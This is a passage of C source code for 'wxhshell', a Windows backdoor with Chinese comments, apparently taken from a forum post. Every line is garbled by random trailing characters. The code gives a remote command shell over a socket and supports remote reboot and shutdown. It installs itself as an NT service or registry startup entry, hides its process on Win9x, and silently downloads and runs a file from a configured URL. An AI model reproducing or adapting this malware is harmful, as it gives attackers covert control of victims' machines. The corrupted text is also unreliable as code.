  5+;Mc[V3-  
  // 帮助 IvlfX`("  
  case '?': { jM @N<k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0{ ~2mggh  
    break; C ocw%Yl  
  } VBw 5[  
  // 安装 841y"@*BY  
  case 'i': { - jCj_@n  
    if(Install()) e([>sAx!1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B\e*-:pq>  
    else l#%7BGwzY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'O\ y7"a  
    break; ^i_+ugJX  
    } W`NF40)  
  // 卸载 <oV[[wl  
  case 'r': { i q oXku  
    if(Uninstall()) bX,#z,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (CY D]n  
    else +:4>4=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3ce$eZE  
    break; =QGmJ3  
    } x^EW'-a  
  // 显示 wxhshell 所在路径 NkO+ )=  
  case 'p': { m#Z&05^  
    char svExeFile[MAX_PATH]; ; +(VO  
    strcpy(svExeFile,"\n\r"); q6w)zTpJGJ  
      strcat(svExeFile,ExeFile); d;]m wLB0  
        send(wsh,svExeFile,strlen(svExeFile),0); E #B$.K  
    break; J-<_e??  
    } /I!62?)-*  
  // 重启 6 /5,n0  
  case 'b': {  BgQ/$,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J?yasjjgP  
    if(Boot(REBOOT)) M<d!j I9)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0<a|=kZ  
    else { 2l+L96  
    closesocket(wsh); d}':7Np  
    ExitThread(0); MP)Prl>  
    } 2#sFY/@  
    break; M\a{2f7'n  
    } )E*f30  
  // 关机 @j_o CDS  
  case 'd': { h7^&:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U|V,&RlbR  
    if(Boot(SHUTDOWN)) l`ZL^uT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .P aDR |!  
    else { mL2J  
    closesocket(wsh); :PW"7|c!  
    ExitThread(0); $!MP0f\q g  
    } vI0,6fOd6  
    break; 6?~9{0  
    } B=L!WGl<!  
  // 获取shell ]oVP_ &E  
  case 's': { #}+H  
    CmdShell(wsh); ] xHiy+  
    closesocket(wsh); H-+U^@w  
    ExitThread(0); fmj}NV&ma  
    break; n qO*z<  
  } WA~[) S0  
  // 退出 $wp>2  
  case 'x': { )9_W"'V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xc 1d[dCdp  
    CloseIt(wsh); _<#92v !F  
    break; 3*~`z9-z  
    } SsTBjIX  
  // 离开 6qFzo1LO  
  case 'q': { uX3yq<lK"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vJ}WNvncVF  
    closesocket(wsh); qnboXGaFu  
    WSACleanup(); RQ =$, i`  
    exit(1); zKGZg>q  
    break; yuBRYy#E|%  
        } F:T(-,  
  } el*|@#k}  
  } Tp?IK_  
`gx\m=xG  
  // 提示信息 $q:l \  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2A; i  
} jI7 x<=  
  } 'g)f5n a[  
:?\29j#*V  
  return; iYgVSVNg  
} l`zh Kj  
d{JI] !  
// shell模块句柄 <<u]WsW{C  
int CmdShell(SOCKET sock) (m:Q'4Ep  
{ ) hs&?: )  
STARTUPINFO si; \tYImh  
ZeroMemory(&si,sizeof(si)); P"^Yx8L#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <q!HY~"V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,HTwEq>-G  
PROCESS_INFORMATION ProcessInfo; kD)31P  
char cmdline[]="cmd"; b4cTn 6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7>y]uT@ar  
  return 0; v4s4D1}  
} bWp:!w#K  
W ,6q1  
// 自身启动模式 iv_3R}IbX  
int StartFromService(void) JI]Lz1i  
{ f&4+-w.:V|  
typedef struct y EfAa6  
{ s(3u\#P  
  DWORD ExitStatus; m_oUl(pk  
  DWORD PebBaseAddress; _Sfu8k>):  
  DWORD AffinityMask; /C Xg$%\  
  DWORD BasePriority; -LRx}Mb9  
  ULONG UniqueProcessId; X}(X\rp  
  ULONG InheritedFromUniqueProcessId; [-VH%OM  
}   PROCESS_BASIC_INFORMATION; j!i* &  
8xAIn>,_  
PROCNTQSIP NtQueryInformationProcess; oQ r.cKD ?  
STjb2t,a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %C,zR&]F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A?#i{R  
xjbI1qCfe  
  HANDLE             hProcess; 9 nc_$H{  
  PROCESS_BASIC_INFORMATION pbi; Jw}t~m3  
[;,E cw^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S1^/W-yoc~  
  if(NULL == hInst ) return 0; r+ 8Tp|%  
Db|JR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WUie `p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DCiU?u~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Zqm%qm:  
X5/j8=G H`  
  if (!NtQueryInformationProcess) return 0; 'uL$j=vB  
`RSiZ%Al  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9`/e= RL  
  if(!hProcess) return 0; siCi+Y  
F]6G<6T[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I2CI9,0  
jy.L/s  
  CloseHandle(hProcess); 'XKfKv >;  
A"M;kzAfHM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z_xy*Iif  
if(hProcess==NULL) return 0; 9_5>MmiB  
6jc5B#  
HMODULE hMod; b}Gm{;s!  
char procName[255]; L]z8'n,  
unsigned long cbNeeded; YT!iI   
@-S7)h>~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :2c(.-[`  
6/L[`n"G  
  CloseHandle(hProcess); _VdJFjY?zc  
u;nn:K1QFr  
if(strstr(procName,"services")) return 1; // 以服务启动 n$SL"iezW?  
bS8$[7OhX  
  return 0; // 注册表启动 7=fN vES2  
} xI?'Nh  
9?ll(5E  
// 主模块 A]0R?N9wb_  
int StartWxhshell(LPSTR lpCmdLine) H4 O"^#5  
{ jbS@6 * _  
  SOCKET wsl; h/\ Zq  
BOOL val=TRUE; OXM=@B<"  
  int port=0; S;Sy.Lp  
  struct sockaddr_in door; l H_pG~  
K\Q4u4DjbJ  
  if(wscfg.ws_autoins) Install(); %1k"K~eu  
| ;a$ l(~<  
port=atoi(lpCmdLine); t'$_3ml  
n-M6~   
if(port<=0) port=wscfg.ws_port; F-:AT$Ok  
`$1A;wg<  
  WSADATA data; TxQsi"0c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SHPDbBS  
X1B)(|7$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H?r~% bh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sYXLVJ>b  
  door.sin_family = AF_INET; ?E!M%c@,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7CR#\&h`  
  door.sin_port = htons(port); +pq=i  
,|$1(z*a{c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9s5s;ntz"  
closesocket(wsl); ck `td%  
return 1; YR\(*LJL  
} [AFR \{  
63\ CE_p  
  if(listen(wsl,2) == INVALID_SOCKET) { j-J/yhWO&  
closesocket(wsl); [g"nu0sOK  
return 1; NKFeND  
} <Af&Q0J  
  Wxhshell(wsl); #s\yO~F-  
  WSACleanup(); `dX0F=Ag?  
6rE8P#  
return 0; TW 1`{SM  
s7}-j2riq  
} m\&99-j:@b  
3%9XJ]Qao  
// 以NT服务方式启动 |a7Kn/[`,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L:&'z:,<  
{ e`LvHU_0  
DWORD   status = 0; %F150$(D  
  DWORD   specificError = 0xfffffff; \>oy2{=;'  
oc-&}R4=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GJU(1%-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; imM#zy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t 4M-;y  
  serviceStatus.dwWin32ExitCode     = 0; a6 :hH@,  
  serviceStatus.dwServiceSpecificExitCode = 0; T-4dD  
  serviceStatus.dwCheckPoint       = 0; 3jfAv@I~  
  serviceStatus.dwWaitHint       = 0; wU'+4N".  
J=kf KQV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fA1{-JzV<4  
  if (hServiceStatusHandle==0) return; VPO~veQ  
PQ_A^95  
status = GetLastError(); AwuhF PG  
  if (status!=NO_ERROR) *=O3kUoL  
{ G 9 &,`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H0B=X l[  
    serviceStatus.dwCheckPoint       = 0; ]!"7k_  
    serviceStatus.dwWaitHint       = 0; 4!ZT_q  
    serviceStatus.dwWin32ExitCode     = status; O`_, _  
    serviceStatus.dwServiceSpecificExitCode = specificError; k&[6Ld0~56  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6,1oLvU  
    return; 4k{xo~+%,  
  } Xep2 )3k>  
_'y`hKeI[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^"iL|3d  
  serviceStatus.dwCheckPoint       = 0; A[fTpS~~%  
  serviceStatus.dwWaitHint       = 0; FD%OG6db];  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'bH~KK5  
} 8yOhKEPX  
o+k*ia~Fa  
// 处理NT服务事件,比如:启动、停止 =_N $0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !w/fw Oo  
{ VS`{k^^  
switch(fdwControl) o)b-fAd@$  
{ S 1~EJa5H  
case SERVICE_CONTROL_STOP: <f)T*E^5%  
  serviceStatus.dwWin32ExitCode = 0; 'Zex/:QS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sc-hO9~k  
  serviceStatus.dwCheckPoint   = 0; !H)!b#_  
  serviceStatus.dwWaitHint     = 0; l*CCnqE  
  { h{\S'8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hfc~HKLC  
  } =?]S8cth  
  return; ][//G|9  
case SERVICE_CONTROL_PAUSE: hH05p!2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &Vpr[S@:{  
  break; C^_m>H3b  
case SERVICE_CONTROL_CONTINUE: (*vBpJyz%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; plr3&T~,&S  
  break; kbH@h2Ww  
case SERVICE_CONTROL_INTERROGATE: L|b[6[XTHL  
  break; 2*gB~Jn4  
}; p,(W?.ZDN?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c*R\fQd  
} Ed-3-vJej6  
h~._R6y  
// 标准应用程序主函数 I;?PDhDb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ms3GvPsgv  
{ s6}SdmE  
X4'!:&  
// 获取操作系统版本 I 5ZDP|  
OsIsNt=GetOsVer(); &oZU=CN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 77+3CME{'  
@x[A ^  
  // 从命令行安装 k %sxA  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;/ |tU o$  
psiuoYf  
  // 下载执行文件 heWQPM|s  
if(wscfg.ws_downexe) { Ix(,gDN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n8\88d  
  WinExec(wscfg.ws_filenam,SW_HIDE); K2v[_a~@  
} ?-0, x|ul  
E 8$S0u;`  
if(!OsIsNt) { y5^OD63s  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,E%O_:}R  
HideProc(); {C8IYBm  
StartWxhshell(lpCmdLine); pP"j|  
} 8aM\B%NGWi  
else p*1 B *R  
  if(StartFromService()) R S>qP;V*-  
  // 以服务方式启动 4OAR ["f  
  StartServiceCtrlDispatcher(DispatchTable); O^ &m  
else N<Ym&$xR  
  // 普通方式启动 L0{ [L  
  StartWxhshell(lpCmdLine); )3 f\H  
q^ &r<i  
return 0; z/WGL  
}
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只看该作者 1 发表于: 2006-10-10
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